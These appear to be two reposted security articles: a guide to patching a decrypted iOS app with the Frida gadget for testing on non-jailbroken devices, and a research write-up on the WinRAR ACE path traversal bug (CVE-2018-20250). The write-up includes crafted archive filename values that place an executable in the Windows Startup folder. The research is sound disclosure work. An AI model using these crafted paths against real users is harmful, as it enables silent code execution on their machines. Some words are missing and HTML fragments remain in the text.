Setting up Frida Without Jailbreak on devices running Latest iOS 12.1.4

Original text by Dinesh Shetty

Majority of the times during a penetration test or bug-bounty engagement, you might encounter customers who limit the scope of testing to non-jailbroken devices running the latest mobile OS. How do you dynamically instrument the application in those cases? How do you trace the various functionalities in the application while trying to attack the actual application logic?

Frida (https://www.frida.re/) is a runtime instrumentation toolkit for developers, reverse-engineers, and security researchers that allows you to inject your own script into the blackbox mobile application. Normally Frida is always installed and run on Jailbroken devices. That process is pretty straight-forward. However, the complexity increases when you want to run it on non-jailbroken devices. In this article I’ll explain in detail the steps to be followed to get Frida running on the latest non-jailbroken version of iOS viz iOS 12.1.4.

The only requirement at this stage is an unencrypted IPA file. This is normally provided by the customer. If not, we can download the IPA file from the AppStore and then use tools like Clutch(https://github.com/KJCracks/Clutch) or bfinject(https://github.com/BishopFox/bfinject) to decrypt it. Alternatively unencrypted versions of the IPA files are also available on https://www.iphonecake.com/. Ensure that you do a checksum check and verify it with the custom before you start testing. Don’t be shocked if you find that the IPA files from the website have been modified to include un-intended code. In our case, lets target the Uber application from the AppStore.

The various steps for setting up Frida to run on non-jailbroken iOS device are:

1) Setting up the Signing Identity

2) Setting up Mobile Provision File

3) Performing the Actual Patching

4) Fixing Codesign issues

5) Performing the required Frida-Fu

I will take you through each of these steps one-by-one.

Setting up the Signing Identity

a) Launch Xcode and navigate to the Accounts section using the Preferences menu item. Make sure you are logged in to Xcode using your Apple account.

b) Select “Agent” and Click Manage Certificates.

c) Click + and select “iOS Development”.

d) To verify that the identity is properly set up, you can use the following command:

security find-identity -p codesigning -v

This command will output all the signing identities for your account.

Setting up Mobile Provision File

a) Next step will be to create a new Xcode project with team as agent and target as your actual test device and click play. Run the application on the device. You have to do this step for every new device that you want to use for testing.

b) Right click the generated .app file and select “Show in Finder”.

c) Right click the .app file from the Finder and select “Show Contents”.

d) Save the embedded.mobileprovision file. You will need this later while signing the IPA file.

Performing the Actual Patching

a) Download the latest version of Frida. This can be done using the following command:

curl -O https://build.frida.re/frida/ios/lib/FridaGadget.dylib

b) Unzip the IPA file and copy this Frida library into the folder named “Frameworks”. If the folder “Frameworks” does not exist, create it.

unzip Uber.ipa
cp FridaGadget.dylib Payload/Helix.app/Frameworks

c) Now, we will use the tool insert_dylib by Tyilo to inject the Frida dylib into the Uber Mach-O binary executable

Use the following steps to build the insert_dylib tool.

git clone https://github.com/Tyilo/insert_dylib
cd insert_dylib
xcodebuild

d) The executable can now be found at “build” folder. Copy the generated insert_dylib executable to your system path using the following command:

cp insert_dylib/build/Release/insert_dylib /usr/local/bin/insert_dylib

e) Use the following command to inject the Frida dylib into your Uber Mach-O binary executable

insert_dylib --strip-codesig --inplace '@executable_path/Frameworks/FridaGadget.dylib' Payload/Helix.app/Helix

If we try to install the application now, it will fail because of code sign issues. We need to fix it before we proceed.

Fixing Codesign issues

a) Sign the Frida dylib using codesign. This can be done using the following command.

codesign -f -v -s  5E25E<snipped-signing-identity> Payload/Helix.app/Frameworks/FridaGadget.dylib

b) Zip the Payload folder into an IPA file using the following command:

zip -qry patchedapp.ipa Payload

c) Install `applesign` utility using the following command:

npm install -g applesign

d) Now, sign the patched IPA file that we created previously.

applesign -i 5E25E<snipped-signing-identity> -m embedded.mobileprovision -o patched_codesign.ipa patchedapp.ipa

e) Install ios-deploy and then push the patched_codesign IPA file to the device.

npm install -g ios-deploy
mkdir final_file
cp patched_codesign.ipa final_file
cd final_file
unzip patched_codesign.ipa
ios-deploy --bundle Payload/*.app --debug -W

Observe that the console message indicates that Frida is now running on port 27042.

Frida-Fu

Your iOS device will appear to be frozen till you enter the Frida commands. To confirm if Frida gadget is actually working make use of the following command:

frida-ps -Uai

Connect to the Gadget using:

frida -U Gadget

Trace Crypto calls using:

frida-trace -U -i "*Crypto*" Gadget

The following shows the sample usage of Frida scripts

frida -U -l list-classes.js Gadget

That is all I have for this article. In later articles we will talk about how to use Frida to perform a variety of attacks on Mobile Applications.

Extracting a 19 Year Old Code Execution from WinRAR

Original text by Nadav Grossman

Introduction

In this article, we tell the story of how we found a logical bug using the WinAFL fuzzer and exploited it in WinRAR to gain full control over a victim’s computer. The exploit works by just extracting an archive, and puts over 500 million users at risk. This vulnerability has existed for over 19 years(!) and forced WinRAR to completely drop support for the vulnerable format.

Background

A few months ago, our team built a multi-processor fuzzing lab and started to fuzz binaries for Windows environments using the WinAFL fuzzer. After the good results we got from our Adobe Research, we decided to expand our fuzzing efforts and started to fuzz WinRAR too.

One of the crashes produced by the fuzzer led us to an old, dated dynamic link library (dll) that was compiled back in 2006 without a protection mechanism (like ASLR, DEP, etc.) and is used by WinRAR.

We turned our focus and fuzzer to this “low hanging fruit” dll, and looked for a memory corruption bug that would hopefully lead to Remote Code Execution.
However, the fuzzer produced a test case with “weird” behavior. After researching this behavior, we found a logical bug: Absolute Path Traversal. From this point on it was simple to leverage this vulnerability to a remote code execution.

Perhaps it’s also worth mentioning that a substantial amount of money in various bug bounty programs is offered for these types of vulnerabilities.

Figure 1: Zerodium tweet on purchasing WinRAR vulnerability.

What is WinRAR?

WinRAR is a trialware file archiver utility for Windows which can create and view archives in RAR or ZIP file formats and unpack numerous archive file formats.

According to the WinRAR website, over 500 million users worldwide make WinRAR the world’s most popular compression tool today.

This is what the GUI looks like:

Figure 2: WinRAR GUI.

The Fuzzing Process Background

These are the steps taken to start fuzzing WinRAR:

  1. Creation of an internal harness inside the WinRAR main function which enables us to fuzz any archive type, without stitching a specific harness for each format. This is done by patching the WinRAR executable.
  2. Eliminate GUI elements such as message boxes and dialogs which require user interaction. This is also done by patching the WinRAR executable.
    There are some message boxes that pop up even in CLI mode of WinRAR.
  3. Use a giant corpus from an interesting piece of research conducted around 2005 by the University of Oulu.
  4. Fuzz the program with WinAFL using WinRAR command line switches. These force WinRAR to parse the “broken archive” and also set default passwords (“-p” for password and “-kb” for keep broken extracted files). We found those options in a WinRAR manual/help file.

After a short time of fuzzing, we found several crashes in the extraction of several archive formats such as RAR, LZH and ACE that were caused by a memory corruption vulnerability such as Out-of-Bounds Write. The exploitation of these vulnerabilities, though, is not trivial because the primitives supplied limited control over the overwritten buffer.

However, a crash related to the parsing of the ACE format caught our eye. We found that WinRAR uses a dll named 

unacev2.dll
 for parsing ACE archives. A quick look at this dll revealed that it’s an old dated dll compiled in 2006 without a protection mechanism. In the end, it turned out that we didn’t even need to bypass them.

Build a Specific Harness

We decided to focus on this dll because it looked like it would be quick and easy to exploit.

Also, as far as WinRAR is concerned, as long as the archive file has a .rar extension, it would handle it according to the file’s magic bytes, in our case – the ACE format.

To improve the fuzzer performance, and to increase the coverage only on the relevant dll, we created a specific harness for 

unacev2.dll
 .

To do that, we need to understand how 

unacev2.dll
 is used. After reverse engineering the code calling 
unacev2.dll
 for ACE archive extraction, we found that two exported functions should be called for extraction in the following order:

  1. An initialization function named 
    ACEInitDll
    , with the following signature:
    INT&nbsp;__stdcall&nbsp;ACEInitDll(unknown_struct_1&nbsp;*struct_1);

    • struct_1: pointer to an unknown struct
  2. An extraction function named 
    ACEExtract
     , with the following signature:
    INT&nbsp;__stdcall&nbsp;ACEExtract(LPSTR&nbsp;ArchiveName,&nbsp;unknown_struct_2&nbsp;*struct_2);
    <br>
    ArchiveName
    : string pointer to the path to the ace file to be extracted
    struct_2
    : pointer to an unknown struct

Both of these functions required structs that are unknown to us. We had two options to try to understand the unknown struct: reversing and debugging WinRAR, or trying to find an open source project that uses those structs.

The first option is more time consuming, so we opted to try the second one. We searched github.com for the exported function 

ACEInitDll

and found a project named FarManager that uses this dll and includes a detailed header file for the unknown structs.
Note: The creator of this project is also the creator of WinRAR.

After loading the header files to IDA, it was much easier to understand the previously “unknown structs” to both functions (

ACEInitDll
 and 
ACEExtract
 ),  as IDA displayed the correct name and type for each struct member.

From the headers we found in the FarManager project, we came up with the following signature:

INT&nbsp;__stdcall&nbsp;ACEInitDll(<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/UNACEFNC.H#LC90">pACEInitDllStruc</a>&nbsp;DllData);

INT&nbsp;__stdcall&nbsp;ACEExtract(LPSTR&nbsp;ArchiveName,&nbsp;<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/UNACEFNC.H#LC194">pACEExtractStruc</a>&nbsp;Extract);

To mimic the way that WinRAR uses 

unacev2.dll
 , we assigned the same struct member just as WinRAR did.

We started to fuzz this specific harness, but we didn’t find new crashes and the coverage did not expand in the first few hours of the fuzzing. We tried to understand the reason for this limitation.

We started by looking for information about the ACE archive format.

Understanding the ACE Format

We didn’t find a RFC for that format, but we did find vital information over the internet.

1. Creating an ACE archive is protected by a patent. The only software that is allowed to create an ACE archive is 

. The last version of this program was compiled in November 2007. The company’s website has been down since August 2017. However, extracting an ACE archive is not protected by a patent.

2. A pure Python project named 

 is mentioned in this Wikipedia page. Its most useful features are:

  • It can extract an ACE archive.
  • It contains a brief explanation about the ACE file format.
  • It has a very helpful feature that prints the file format header with an explanation.

To understand the ACE file format, let’s create a simple 

.txt
 file (named “simple_file.txt”), and compress it using 
WinACE
. We will then check the headers of the ACE file using 
acefile
 .

This is 

simple_file.txt

Figure 3: File before compression.

These are the options we selected in 

WinACE
to create our example:

Figure 4: WinACE compression GUI.

This option creates the subdirectories 

\users\nadavgr\Documents
 under the chosen extraction directory and extracts simple_file.txt to that relative path.

simple_file.ace

Figure 5: The simple_file.ace produced using WinACE’s “store” compression option for visibility.

Running 

acefile.py
 from the 
acefile
 project using headers flags displays information about the archive headers:

Figure 6: Parsing ACE file header using acefile.py.

This results in:

Figure 7: acefile.py header parsing output.

Notes:

  • Consider each “\\” from the 
    filename
     field in the image above as a single slash “\”, this is just python escaping.
  • For clarity, the same fields are marked with the same color in the hex dump and in the output from
    acefile
    .

Summary of the important fields:

  • hdr_crc (marked in pink):
    Two CRC fields are present in 2 headers. If the CRC doesn’t match the data, the extraction
    is interrupted. This is the reason why the fuzzer didn’t find more paths (expand its coverage).To “solve” this issue we patched all the CRC* checks in 
    unacev2.dll
     .*Note – The CRC is a modified implementation of the regular CRC-32.
  • filename (marked in green):
    It contains the relative path to the file. All the directories specified in the relative path are created during the extracting process (including the file). The size of the 
    filename
     is defined by 2 bytes (little endian) marked by a black frame in the hex dump.
  • advert (marked in yellow)
    The advert field is automatically added by 
    WinACE
    , during the creation of an ACE archive, if the archive is created using an unregistered version of 
    WinACE
    .
  • file content:
    • origsize
       ” – The content’s size. The content itself is positioned after the header that defines the file (“hdr_type” field == 1).
    • hdr_size
       ” – The header size. Marked by a gray frame in the hex dump.
    • At offset 70 (0x46) from the second header, we can find our file content: “Hello From Check Point!”

Because the filename field contains the relative path to the file, we did some manual modification attempts to the field to see if it is vulnerable to “Path Traversal.”
For example, we added the trivial path traversal gadget “\..\” to the filename field and more complex “Path Traversal” tricks as well, but without success.

After patching all the structure checks, such as the CRC validation, we once again activated our fuzzer. After a short time of fuzzing, we entered the main fuzzing directory and found something odd. But let’s first describe our fuzzing machine for some necessary background.

The Fuzzing Machine

To increase the fuzzer performance and to prevent an I\O bottleneck, we used a RAM disk drive that uses the ImDisk toolkit on the fuzzing machine.

The Ram disk is mapped to drive R:\, and the folder tree looks like this:

Figure 8: Fuzzer’s folders hierarchy

Detecting the Path Traversal Bug

A short time after starting the fuzzer, we found a new folder named sourbe in a surprising location, in the root of drive R:\

Figure 9: ”sourbe”, the unexpected folder which created during fuzzing.

The harness is instructed to extract the fuzzed archive to sub-directories under “output_folders”. For example, 

R:\ACE_FUZZER\output_folders\Slave_2\
 . So why do we have a new folder created in the parent directory?

Inside the 

sourbe
 folder we found a file named 
RED VERSION_¶
 with the following content:

Figure 10: Content of the file that produced by the fuzzer in the unexpected path “R:\sourbe\RED VERSION_¶”.

This is the hex dump of the test case that triggers the vulnerability:

Figure 11: A hex dump of the file that produced by the fuzzer in the unexpected path “R:\sourbe\RED VERSION_¶”.

Notes:

  • We made some minor changes to this test case, (such as adjusting the CRC) to make it parsable by 
    acefile
    .
  • For convenience, fields are marked with the same color in the hex dump and in
    the output from 
    acefile
    .

Figure 12: Header parsing output from acefile.py for the file that produced by the fuzzer in the unexpected path.

These are the first three things that we noticed when we looked at the hex dump and the output from 

acefile
:

  1. The fuzzer copied parts of the “advert” field to other fields:
    • The content of the compressed file is “SIO”, marked in an orange frame in the hex dump. It’s part of the advert string “*UNREGISTERED VERSION*”.
    • The filename field contain the string “RED VERSION*” which is part of the advert string “*UNREGISTERED VERSION*”.
  2. The path in the 
    filename
     field was used in the extraction process as an “absolute path” instead of a relative path to the destination folder (the backslash is the root of the drive).
  3. The extract file name is “RED VERSION_¶”. It seems that the asterisk from the 
    filename
     field was converted to an underscore and the \x14\ (0x14) value represented as “¶” in the extract file name. The other content of the 
    filename
     field is ignored because there is a null char which terminates the string, after the \x14\ (0x14) value.

To find the constraints that caused it to ignore the destination folder and use the 

filename
 field as an absolute path during the extraction, we did the following attempts, based on our assumptions.

Our first assumption was the first character of the 

filename
 field (the ‘\’ char) triggers the vulnerability. Unfortunately, after a quick check we found out that this is not the case. After additional checks we arrived at these conclusions:

  1. The first char should be a ‘/’ or a ‘\’.
  2. ‘*’ should be included in the 
    filename
     at least once; the location doesn’t matter.

Example of a 

filename
 field that triggers the bug: 
\some_folder\some_file*.exe
 will be extracted to 
C:\some_folder\some_file_.exe
 , and the asterisk is converted to an underscore (_).

Now that it worked on our fuzzing harness, it is time to test our crafted archive (e.g. exploit file) file on WinRAR.

Trying the exploit on WinRAR

At first glance, it looked like the exploit worked as expected on WinRAR, because the 

sourbe
 directory was created in the root of drive 
C:\
 . However, when we entered the “sourbe” folder (
C:\sourbe
 ) we noticed that the file was not created.

These behaviors raised two questions:

  • Why did the harness and WinRAR behave differently?
  • Why were the directories that were specified in the exploit file created, and the extracted file was not created?
Why did the harness and WinRAR behave differently?

We expected that the exploit file would behave the same on WinRAR as it behaved in our harness, for the following reasons:

  1. The dll (
    unacev2.dll
     ) extracts the files to the destination folder, and not the outer executable (WinRAR or our harness).
  2. Our harness mimics WinRAR perfectly when passing parameters / struct members to the dll.

A deeper look showed that we had a false assumption in our second point. Our harness defines 4 callbacks pointers, and our implemented callbacks differ from WinRAR’s callbacks. Let’s return to our harness implementation.

We mentioned this signature when calling the exported function named 

ACEInitDll
.

INT&nbsp;__stdcall&nbsp;ACEInitDll(<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/UNACEFNC.H#LC90">pACEInitDllStruc</a>&nbsp;DllData);

<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/UNACEFNC.H#LC90">pACEInitDllStruc</a>
 is a pointer to the 
<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/UNACEFNC.H#LC90">sACEInitDLLStruc</a>
 struct. The first member of this struct is 
<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/STRUCS.H#LC189">tACEGlobalDataStruc</a>
. This struct has many members, including pointers to callback functions with the following signature:

INT&nbsp;(__stdcall&nbsp;*InfoCallbackProc) (<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/STRUCS.H#LC73" target="_blank" rel="noreferrer noopener">pACEInfoCallbackProcStruc</a>&nbsp;Info);

INT&nbsp;(__stdcall&nbsp;*ErrorCallbackProc) (<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/STRUCS.H#LC76" target="_blank" rel="noreferrer noopener">pACEErrorCallbackProcStruc</a>&nbsp;Error);

INT&nbsp;(__stdcall&nbsp;*RequestCallbackProc) (<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/STRUCS.H#LC79" target="_blank" rel="noreferrer noopener">pACERequestCallbackProcStruc</a>&nbsp;Request);

INT&nbsp;(__stdcall&nbsp;*StateCallbackProc)&nbsp;(<a href="https://github.com/FarGroup/FarManager/blob/806c80dff3e182c1c043fad9078490a9bf962456/plugins/newarc.ex/Modules/ace/Include/ACE/includes/STRUCS.H#LC82" target="_blank" rel="noreferrer noopener">pACEStateCallbackProcStruc</a>&nbsp;State);

These callbacks are called by the dll (

unacev2.dll
 ) during the extraction process.
The callbacks are used as external validators for operations that about to happen, such as the creation of a file, creation of a directory, overwriting a file, etc.
The external callback/validators get information about the operation that’s about to occur, for example, file extraction, and returns its decision to the dll.

If the operation is allowed, the following constant is returned to the dll: 

 Otherwise, if the operation is not allowed by the callback function, it returns the following constant: 
ACE_CALLBACK_RETURN_CANCEL
, and the operation is aborted.

For more information about those callbacks function, see the explanation from the FarManager.

Our harness returned 

ACE_CALLBACK_RETURN_OK
  for all the callback functions except for the 
ErrorCallbackProc
, where it returned 
ACE_CALLBACK_RETURN_CANCEL
.

It turns out, WinRAR does validation for the extracted 

filename
 (after they are extracted and created), and because of those validations in the WinRAR callback’s, the creation of the file was aborted. This means that after the file is created, it is deleted by WinRAR.

WinRAR Validators / Callbacks

This is part of the WinRAR callback’s validator pseudo-code that prevents the file creation:

Figure 13: WinRAR validator/callback pseudo-code.

SourceFileName
” represents the relative path to the file that will be extracted.

The function does the following checks:

  1. The first char does not equal “
    \
    ” or “
    /
    ”.
  2. The File Name doesn’t start with the following strings “
    ..\
    ” or “
    ../
    ” which are gadgets for “Path Traversal”.
  3. The following “Path Traversal” gadgets does not exist in the string:
    1. \..\
    2. \../
    3. /../
    4. /..\

The extraction function in 

unacv2.dll
 calls 
StateCallbackProc
 in WinRAR, and passes the 
filename
 field of the ACE format as the relative path to be extracted to.

The relative path is checked by the WinRAR callback’s validator. The validators return 

ACE_CALLBACK_RETURN_CANCEL
 to the dll, (because the 
filename
 field starts with backslash “\”) and the file creation is aborted.

The following string passes to the WinRAR callback’s validator:

“\sourbe\RED VERSION_¶”

Note: This is the original filename with fields “\sourbe\RED VERSION*¶”. “

unacev2.dll
 ” replaces the “*” with an underscore.

Why were the folders that were specified in the exploit file created and the extracted file was not created?

Because of a bug in the dll (“

unacev2.dll
 ”), even if 
ACE_CALLBACK_RETURN_CANCEL
 returned from the callback, the folders specified in the relative path (
filename
 field in ACE archive) will be created by the dll.

The reason for this is that 

unacev2.dll
 calls the external validator (callback) before the folder creation, but it checks the return value from the callbacks too late – after the creation of the folder. Therefore, it aborts the extraction operation just before writing content to the extracted file, before the call to WriteFile API.

It actually creates the extracted file, without writing content to it.  It calls to CreateFile API
and then checks the return code from the callback function. If the return code is 

ACE_CALLBACK_RETURN_CANCEL
, it actually deletes the file that previously created by the call to CreateFile API.

Side Notes:

  • We found a way to bypass the deletion of the file, but it allows us to create empty files only. We can bypass the file deletion by adding “:” to the end of the file, which is treated as Alternate Data Streams. If the callback returns 
    ACE_CALLBACK_RETURN_CANCEL
    , dll tries to delete the Alternate Data Stream of the file instead of the file itself.
  • There is another filter function in the dll code that aborts the extraction operation if the relative path string starts with “\” (slash). This happens in the first extraction stages, before the calls to any other filter function.
    However, by adding “*”or “?” characters (wildcard characters) to the relative path (filename field) of the compressed file, this check is skipped and the code flow can continue and (partially) trigger the Path Traversal vulnerability. This is why the exploit file which was produced by the fuzzer triggered the bug in our harness. It doesn’t trigger the bug in WinRAR because of the callback validator in the WinRAR code.

Summary of Intermediate Findings

  • We found a Path Traversal vulnerability in 
    unacev2.dll
     . It enables our harness to extract the file to an arbitrary path, and completely ignore the destination folder, and treats the extracted file relative path as the full path.
  • Two constraints lead to the Path Traversal vulnerability (summarized in previous sections):
    1. The first char should be a ‘/’ or a ‘\’.
    2. ‘*’ should be included in the 
    filename
     at least once. The location does not matter.
  • WinRAR is partially vulnerable to the Path Traversal:
    • unacev2.dll
       doesn’t abort the operation after getting the abort code from the WinRAR callback (
      ACE_CALLBACK_RETURN_CANCEL
      ). Due to this delayed check of the return code from WinRAR callback, the directories specified in the exploit file are created.
    • The extracted file is created as well, on the full path specified in the exploit file (without content), but it is deleted right after checking the returned code from the callback (before the call to WriteFile API).
    • We found a way to bypass the deletion of the file, but it allows us to create empty files only.

Finding the Root Cause

At this point, we wanted to figure out why the destination folder is ignored, and the relative path of the archive files (

filename
 field) is treated as the full path.

To achieve this goal, we could use static analysis and debugging, but we decided on a much quicker method. We used DynamoRio to record the code coverage in 

unacev2.dll
 of a regular ACE file and of our exploit file which triggered the bug. We then used the lighthouse plugin for IDA and subtracted one coverage path from the other.

These are the results we got:

Figure 14: Lighthouse’s coverage overview window. You can see the coverage subtraction in the “Composer” form, and one result highlighted in purple.

In the “Coverage Overview” window we can see a single result. This means there is only one basic block that was executed in the first attempt (marked in A) and wasn’t reached on the second attempt (marked in B).

The Lighthouse plugin marked the background of the diffed basic block in blue, as you can see in the image below.

Figure 15: IDA graph view of the main bug in unacev2.dll. Lighthouse marked the background of the diffed basic block in blue.

From the code coverage results, you can understand that the exploit file is not going through the diffed basic block (marked in blue), but it takes the opposite basic block (the false condition, marked with a red arrow).

If the code flow goes through the false condition (red arrow) the line that is inside the green frame replaces the destination folder with 

""
 (empty string), and the later call to 
sprintf
 function, which concatenates the destination folder to the relative path of the extracted file.

The code flow to the true and false conditions, marked with green and red arrows respectively,
is influenced by the call to the function named 

GetDevicePathLen
 (inside the red frame).

If the result from the call to 

GetDevicePathLen
 equals 0, the 
sprintf
 looks like this:

sprintf(final_file_path,&nbsp;"%s%s", destination_folder, file_relative_path);

Otherwise:

sprintf(final_file_path,&nbsp;"%s%s",&nbsp;"", file_relative_path);

The last 

sprintf
 is the buggy code that triggers the Path Traversal vulnerability.

This means that the relative path will actually be treated as a fullpath to the file/directory that should be written/created.

Let’s look at GetDevicePathLen function to get a better understanding of the root cause:

Figure 16: GetDevicePathLen code.

The relative path of the extracted file is passed to 

GetDevicePathLen
.
It checks if the device or drive name prefix appears in the Path parameter, and returns the length of that string, like this:

  • The function returns 3 for this path: 
    <strong>C:\</strong>some_folder\some_file.ext
  • The function returns 1 for this path: 
    <strong>\</strong>some_folder\some_file.ext
  • The function returns 15 for this path: 
    <strong>\\LOCALHOST\C$\</strong>some_folder\some_file.ext
  • The function returns 21 for this path: 
    <strong>\\?\Harddisk0Volume1\</strong>some_folder\some_file.ext
  • The function returns 0 for this path: 
    some_folder\some_file.ext

If the return value from 

GetDevicePathLen
 is greater than 0, the relative path of the extracted file will be considered as the full path, because the destination folder is replaced by  an empty string during the call to 
sprintf
, and this leads to Path Traversal vulnerability.

However, there is a function that “cleans” the relative path of the extract file, by omitting any sequences that are not allowed before the call to 

GetDevicePathLen
.

This is a pseudo-code that cleans the path “

CleanPath
”.

Figure 17: Pseudo-code of CleanPath.

The function omits trivial Path Traversal sequences like “

<strong>\..\</strong>
”  (it only omits the “
<strong>..\</strong>
” sequence if it is found in the beginning of the path)  sequence, and it omits drive sequence like: “
<strong>C:\</strong>
<strong>C:</strong>
”, and for an unknown reason, “
<strong>C:\C:</strong>
” as well.

Note that it doesn’t care about the first letter; the following sequence will be omitted as well: “

<strong>_:\</strong>
”, “
<strong>_:</strong>
”, “
<strong>_:\_:</strong>
” (In this case underscore represents any value).

Putting It All Together

To create an exploit file, which causes WinRAR to extract an archived file to an arbitrary path (Path Traversal),  extract to the Startup Folder (which gains code execution after reboot) instead of to the destination folder.

We should bypass two filter functions to trigger the bug.

To trigger the concatenation of an empty string to the relative path of the compressed file, instead of the destination folder:

sprintf(final_file_path,&nbsp;"%s%s",&nbsp;"", file_relative_path);

Instead of:

sprintf(final_file_path,&nbsp;"%s%s", destination_folder, file_relative_path);

The result from 

GetDevicePathLen
 function should be greater than 0.
It depends on the content of the relative path (“file_relative_path”). If the relative path starts the device path this way:

  • option 1
    <strong>C:\</strong>some_folder\some_file.ext
  • option 2
    <strong>\</strong>some_folder\some_file.ext
     (The first slash represents the current drive.)

The return value from 

GetDevicePathLen
 will be greater than 0.
However, there is a filter function in 
unacev2.dll
 named 
CleanPath
 (Figure 17) that checks if the relative path starts with C:\ and removes it from the relative path string before the call to 
GetDevicePathLen
.

It omits the “

<strong>C:\</strong>
” sequence from the option 1 string but doesn’t omit “\” sequence from the option 2 string.

To overcome this limitation, we can add to option 1 another “

<strong>C:\</strong>
” sequence which will be omitted by 
CleanPath
 (Figure 17), and leave the relative path to the string as we wanted with one “
<strong>C:\</strong>
”,  like:

  • option 1’
    C:\C:\
    some_folder\some_file.ext
      =>  
    C:\
    some_folder\some_file.ext

However, there is a callback function in WinRAR code (Figure 13), that is used as a validator/filter function. During the extraction process, 

unacev2.dll
 is called to the callback function that resides in the WinRAR code.

The callback function validates the relative path of the compressed file. If the blacklist sequence is found, the extraction operation will be aborted.

One of the checks that is made by the callback function is for the relative path that starts with “\” (slash).
But it doesn’t check for the  “

<strong>C:\</strong>
Therefore, we can use option 1’ to exploit the Path Traversal Vulnerability!

We also found an SMB attack vector, which enables it to connect to an arbitrary IP address and create files and folders in arbitrary paths on the SMB server.

Example:

<strong>C:\</strong>\\10.10.10.10\smb_folder_name\some_folder\some_file.ext
 => 
\\10.10.10.10\smb_folder_name\some_folder\some_file.ext

Example of a Simple Exploit File

We change the .ace extension to .rar extension, because WinRAR detects the format by the content of the file and not by the extension.

This is the output from 

acefile
:

Figure 18: Header output by acefile.py of the simple exploit file.

We trigger the vulnerability by the crafted string of the 

filename
 field (in green).

This archive will be extracted to 

C:\some_folder\some_file.txt
 no matter what the path of the destination folder is.

Creating a Real Exploit

We can gain code execution, by extracting a compressed executable file from the ACE archive to one of the Startup Folders. Any files that reside in the Startup folders will be executed at boot time.
To craft an ACE archive that extracts its compressed files to the Startup folder seems to be trivial, but it’s not.
There are at least 2 Startup folders at the following paths:

  1. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  2. C:\Users<em>\<strong>&lt;user name&gt;</strong></em>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

The first path of the Startup folder demands high privileges / high integrity level (in case the UAC is on). However, WinRAR runs by default with a medium integrity level.

The second path of the Startup folder demands to know the name of the user.

We can try to overcome it by creating an ACE archive with thousands of crafted compressed files, any one of which contains the path to the Startup folder but with different 

<em><strong>&lt;user name&gt;</strong></em>
, and hope that it will work in our target.

The Most Powerful Vector

We have found a vector which allows us to extract a file to the Startup folder without caring about the 

<em><strong>&lt;user name&gt;</strong></em>
.

By using the following 

filename
 field in the ACE archive:

C:\C:
C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

It is translated to the following path by the 

CleanPath
 function (Figure 17):

C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

Because the 

CleanPath
 function removes the “
C:\C:
 
” sequence.

Moreover, this destination folder will be ignored because the 

GetDevicePathLen
 function (Figure 16) will return 2 for the last “C:” sequence.

Let’s analyze the last path:

The sequence “

C:
” is translated by Windows to the “current directory” of the running process. In our case, it’s the current path of WinRAR.

If WinRAR is executed from its folder, the “current directory” will be this WinRAR folder: 

C:\Program Files\WinRAR

However, if WinRAR is executed by double clicking on an archive file or by right clicking on “extract” in the archive file, the “current directory” of WinRAR will be the path to the folder that the archive resides in.

Figure 19: WinRAR’s extract options (WinRAR’s shell extension added to write click)

For example, if the archive resides in the user’s Downloads folder, the “current directory” of WinRAR will be:

&nbsp; C:\Users\<strong><em>&lt;user name&gt;</em></strong><em>\Downloads</em>

If the archive resides in the Desktop folder, the “current directory” path will be:
&nbsp; C:\Users\<strong><em>&lt;user name&gt;</em></strong><em>\Desktop</em>

To get from the Desktop or Downloads folder to the Startup folder, we should go back one folder  “

../
” to the “user folder”, and concatenate  the relative path to the startup directory: 
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
 to the following sequence: “
C:../

This is the end result:  

C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe

Remember that there are 2 checks against path traversal sequences:

  • In the 
    CleanPath
     function which skips such sequences.
  • In WinRAR’s callback function which aborts the extraction operation.

CleanPath
 checks for the following path traversal pattern: “
\..\

The WinRAR’s callback function checks for the following patterns:

  1. “\..\”
  2. “\../”
  3. “/../”
  4. “/..\”

Because the first slash or backslash are not part of our sequence “

C:../
”, we can bypass the path traversal validation. However, we can only go back one folder. It’s all we need to extract a file to the Startup folder without knowing the user name.

Note: If we want to go back more than one folder, we should concatenate the following sequence “

/../
”. For example, “
C:..<strong>/../</strong>
” and the “
/../
” sequence will be caught be the callback validator function and the extraction will be aborted.

Demonstration (POC)

Side Note

Toward the end of our research, we discovered that 

WinACE
 created an extraction utility like 
unacev2.dll
 for linux which is called unace-nonfree (compiled using Watcom compiler). The source code is available.
The source code for Windows (which 
unacev2.dll
 was built from) is included as well, but it’s older than the last version of 
unacev2.dll
 , and can’t be compiled/built for Windows. In addition,  some functionality is missing in the source code – for example, the checks in Figure 17 are not included.

However, Figure 16 was taken from the source code.
We also found the Path Traversal bug in the source code. It looks like this:

Figure 20:  The path traversal bug in the source code of unace-nonfree


CVEs:

CVE-2018-20250, CVE-2018-20251, CVE-2018-20252, CVE-2018-20253.

WinRAR’s Response

WinRAR decided to drop UNACEV2.dll from their package, and WinRAR doesn’t support ACE format from version number: “5.70 beta 1”.

Quote from WinRAR website:

